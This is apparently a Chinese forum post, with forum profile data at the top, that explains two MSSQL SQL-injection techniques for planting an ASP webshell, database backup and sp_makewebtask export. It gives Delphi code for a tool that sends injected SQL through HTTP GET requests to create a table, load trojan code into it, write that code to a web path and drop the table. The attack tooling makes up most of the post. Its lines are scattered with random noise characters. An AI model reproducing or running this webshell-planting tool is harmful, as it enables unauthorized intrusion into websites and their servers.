- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >一.通过SQL注入得到WEBSHELL的原理: Z7 |# w" m z# p$ k& Z- X1 N3 I7 L
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
3 a& `# M* g5 d- |5 k分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 5 q# v% i5 T. B) {2 e% Y
再来看看CZY的方法吧。
$ C+ ?& I3 I7 {4 B# I5 sCZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
4 X' [: T- |2 @以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 * N& x5 l* v4 Q# o( X
二.利用DELPHI去实现功能的前言 ! T2 W4 Z4 L4 ^
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
' F) s5 k. S8 g
7 v1 M# F! D4 {- q$ T3 K三.如何利用DELPHI得到WEBSHELL。 6 {/ C2 ]0 k! z# a* h% V: @. @
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。" l& _3 i" f9 g9 Q5 F( j; [) e
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: ( j0 Q# B1 b8 {* L# j0 {1 v w8 O: g
- I% i, E4 K- S5 ?1 X( C7 A( g
4 X/ f0 p8 @- F7 u
3 n# k% W, U/ l! M
现在来写程序了。
: u5 h1 P4 c: E N) x我们首先定义一个RECORD。
) N( w! @! Z9 d7 _4 \7 S1 j如下:* J% ~- k6 P2 b; g( m2 i
Type 5 l3 r, Z# _% b# e4 l- o3 _
SetOption = Record $ m6 M. X( ?' @* b! [ ~3 G
TableName : String; //用来保存要创建的表名. " |' \) G/ \; F7 A# O8 N; }$ e
FieldName : String; //用来保存要创建的字段名. 8 Y0 u. i& W0 R! D" t* E- ?. h
FiledType : String; //用来保存创建的字段名类型. 7 N3 E1 b, B* L# q9 ]& N2 Q0 g! k2 l4 ]
End;
1 ^; T: y) O9 h- \FiledType字段类型的值是以下类型的一种:
9 T) @$ _0 `1 h* q% uBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint , m7 z2 P2 f$ w- n9 j
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. 8 R* ^5 P( D/ W( P
再定义一个全局变量:
, w' a. T0 u, O: v. lVar 2 x8 x+ m, K: `5 W0 f* \
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
( ?9 R4 [, s/ d$ K O3 F% q好了。在表单创建的过程中,我们为RECORD记录输入默认值.
4 I) q0 u' `% V' w/ H. W代码如下: / r% {5 [( ^, z8 q. c. q9 `+ g
procedure TMainForm.FormCreate(Sender: TObject); f0 Y& E7 f! @# |) _- a% S: f1 u9 x
begin 7 X0 G: q# X% u5 C2 N4 X
sOption.TableName :='cyfd'
1 n ~- O+ P; J6 ]sOption.FieldName :='gmemo'
0 N1 H' y( k3 K6 m% [ H" TsOption.FiledType :='text'
# }! A4 R/ J P) N. e9 {end; ' M& f. {- g) {, R( ]9 H
现在我们添加开始执行命令的代码。
6 [( n: u, g; N5 ]: k先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. 3 k5 c) M* `' V) N' ], Q, n
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
4 E. V) Q: X( v) j3 E H3 Q/ D在程序开始执行前,我们得先检查一下用户的输入 : H# \- g8 M7 J+ C: T6 U
定义一个Checkinput函数.
6 _% [6 _% v( j V如下:
. r( S4 T& g3 z& f$ n5 bFunction CheckInput : Boolean;
/ \8 I# u& F1 y0 TBegin - x7 h$ p) a2 q( \
Result := False; $ D% [0 v3 ] j$ V1 ^: Y" F
if Trim(urlet.Text) = '' then 7 V2 f! v" s. \
Begin
1 }7 m+ n/ Z( q' P0 S0 QApplication.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); 4 W f' d& ^8 a
Exit; 5 g, | i6 e r, h1 P$ p
End; % S+ q* Z( H5 B0 c. g
if Trim(ShellPathET.Text) = '' then ( ], g. ], |2 B
Begin # \, r) C0 Q) X' R' C8 ]6 \! T, C
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
( L6 T: E. i7 TExit;
- i( D# A; Z. E0 {End;
% {# n* e/ j/ K5 hIF DefBDoor.Checked then p7 o8 E0 H7 W) B6 G
Begin
0 V6 j V2 p& w$ f- Zif Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then 3 y6 I" @8 x6 q5 k) a6 w; n& f
Begin
4 a/ [! {" X) D% s$ mApplication.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
* E ~9 r! V: [$ y7 p$ z& zExit;
0 |( p' s/ v$ U' x; h* SEnd; 3 M( T/ @# e$ Z2 }" O. R2 Q
End + b3 F6 M4 e, d, P1 G/ z
Else / q! X/ x: E) v
if Not FileExists(CustomBdoorET.Text) then 8 L8 J+ C, G% b9 g, N& d
Begin
" h& A- b# u8 o# V8 M9 S3 |Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); # D8 o3 ]* L7 s! i% r
Exit;
& Q# H* }& P9 Q/ A& Y7 L8 o! Z ZEnd; + X- y2 V: |* A$ d8 N F
Result := True;
$ v: d5 d; y' wEnd; * `9 K- L+ T6 `. ?5 X2 R5 T" [) F
在最开始加入: " k& |: w9 x! @' ~' G! L
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
2 P! U5 z& ~5 k& L" ^0 x' @0 s好了,如果用户输入没什么错,我们就来下面的代码。
2 }( h- k3 Q7 i# _5 m首先我们把IsStop设为假。创建BdoorList。
0 m9 K4 u) Q8 _4 T1 Q Q, XBDoorList := TstringList.Create; ' }) \8 X5 y. g0 D5 b
再加木马内容到BDoorlist. 0 Q( ?& U# p8 d3 p4 V
BDoorList.LoadFromFile(CustomBdoorET.text);
8 P2 e& v7 O2 C) m好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
6 F8 u8 f9 w) | \* F5 t代码如下:
& `) e/ D4 }6 Q4 @# oBDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
0 X; w; P0 A& Q' |/ I; c5 C6 r8 e) SBDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); , O4 |- V9 ?* q4 k3 H3 u b4 c
接下来.我们就提交建表的功能了.
" s* T. _+ Q* \2 k+ ^; K) RMemo.Lines.Add('建表...'); " r& R: {0 |6 w0 t) Y6 t j& k
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);'); 3 ?, M/ Z8 g% X( ?: d* P o& s- Y
这样我们就创建了一个表。然后.我们向表中加记录:
9 d. f/ w& }( t% `7 X* R0 N代码如下:
$ g* A' _( I; q9 g0 [) HMemo.Lines.Add('加数据...'); $ J/ w% u; E7 w
Memo.Lines.Add(''); 7 l4 t$ w+ m3 s" T/ c6 `
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. $ S2 k, t! g% `- O4 u; }) w
Begin + L" D/ L* a$ a2 F
IF IsStop then //这里如果点了停止按纽程序将终止任务. 9 g# I* ^9 ^0 @: _
Begin 5 j8 N. ?9 ^ K# t! y6 j
BDoorList.Free;
2 W k8 J* r" e/ ]Exit;
; D* p( v- v6 B/ wEnd; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); $ p" l7 M3 ?, ]& I
Memo.Lines.Add('Add Line '+Inttostr(i+1));
a6 ^: u/ `+ N% A( l! L- GEnd;
G4 `# l% x8 F& F) S8 ~( |现在就是导出数据生成木马了. 2 B9 e! o& s/ ~1 L
Memo.Lines.Add('导出数据...'); 7 ^4 s3 O( K7 o9 a% u) _+ k" Y# }
Memo.Lines.Add('');
/ B7 q2 q) c6 X( [IF BKData.Checked then //如果选中采用备份数据就执行下面的命令. 5 E( k: a8 [3 M S) ], \/ R4 x
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') . w' M, q; l3 A1 } w3 ~+ }$ A
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
, N4 [' Q" ~9 n. J我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
- M! t; N: c/ q! G这样我们的任务就完成了。下面来释放变量. ) d" X( C! L: p4 T
BDoorList.Free;
* U% ]" Z9 r$ `+ e8 k再来向停止按纽中添加点击事件:
; @% o0 M$ |, a7 ^1 D3 ]# w一行代码就行了:IsStop := True; - t( c& }: z% b2 X; u, [
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
/ F$ M+ V% Z: U" K* W设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
' {+ y+ X0 x% K; G; X第一个名称为:TableNameET //保用户输入的存临时表
, N6 U3 |4 w$ I) ~. f) E) J第二个名称为:FieldNameET //用来保存用户输入的字段名. : O3 O# I: U) D: s7 v) l
再添加一个Combobox //用来保存用户所选的字段类型值. ( n% E& _2 T& L3 o
名称:FieldTypeCombox
1 |: D+ p% q% F5 G5 VOK.界面如下: ! ?( C9 n" y+ Q d
( n. M4 C( i9 {& ^8 e, z' k6 \
代码如下: - i+ }: y5 A* {3 O3 y
定义一个过程,主表单好调用这个设置。
- ~* y. V4 n$ G* V u. [7 `. Z FProcedure ShowSet; ) O( E7 c3 ^5 K+ Y0 U
Begin $ F' C+ J; q+ G* L) t
Application.CreateForm(TSetForm,SetForm);
* [ Z5 E- @8 Y1 n7 C; HWith SetForm do & b5 Q& m- o, c$ K0 L: V4 X
Begin
2 k! ?, z$ V2 I' T0 U5 S/ \- PTableNameET.Text := sOption.TableName; " b+ U7 K; w( F& ^2 Y- `9 T+ {
FieldNameET.Text := sOption.FieldName; ' C7 z3 f: T7 p8 T: k
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
" O1 a$ M1 y. c' \End; : j- z+ G, j: |0 @" |
SetForm.ShowModal;
! c: [' m4 O& K3 r, USetForm.Free;
4 j r: y% N% ~6 z% BEnd;
" k' e0 p3 H/ V9 X在主表单中设置的点击事件中添加上showset过程就行了。 T" W3 K3 i! F8 o' s: ~! w
下面就是点击确定的代码了。
5 A8 }) b. m7 ]/ {2 U. ]6 E! s( C0 D! o. ?IF CheckInput then # W2 \( N/ P0 Y, h# S
Begin % Y3 j% k3 d3 H/ f
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
. j# Z4 L0 y% U. [' W6 XsOption.FieldName := Trim(FieldNameET.Text); + E+ x1 F( h2 D) t7 d# Z9 R v
sOption.FiledType := FieldTypeCombox.Text;
4 L* q7 Y% U. s' FClose;
3 \" T' ]) N1 Q$ J6 j! z @% LEnd;
* a/ e, j. j/ P3 m这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 m3 R# }- N O, g' T) O
代码如下:
5 B4 e) g! l8 \Function CheckInput : Boolean; h6 I4 j1 ?( K% \' l7 `/ s; t
Begin 2 o& e. M" R" D5 u+ C" ?
Result := False; % [5 S: I' y/ h+ m6 O% G4 a z6 R
IF Trim(TableNameET.Text)='' then $ \! I# l' R* O
Begin : u1 x7 {$ H0 R6 C, \2 v3 K* r. a
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
8 h1 J# O) k2 P+ @Exit;
+ R- l8 j& Q" W. R8 Q, vEnd;
! t( ^' @1 N' ]% oIF Trim(FieldNameET.Text)='' then
& U, n" R m; \/ _3 b' @Begin
) ^# M0 e5 J% U' W6 U& YApplication.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); / ]' Z3 S+ I. ^
Exit; N5 V4 r0 h) k- n0 Z1 c
End; * K$ ?; x+ U# \, x
Result := True;
# Q( ]' C! p2 I% b) x& w( BEnd; ' e5 V: Q% e& n9 r7 l
到这里程序就完了。</P> |
zan
|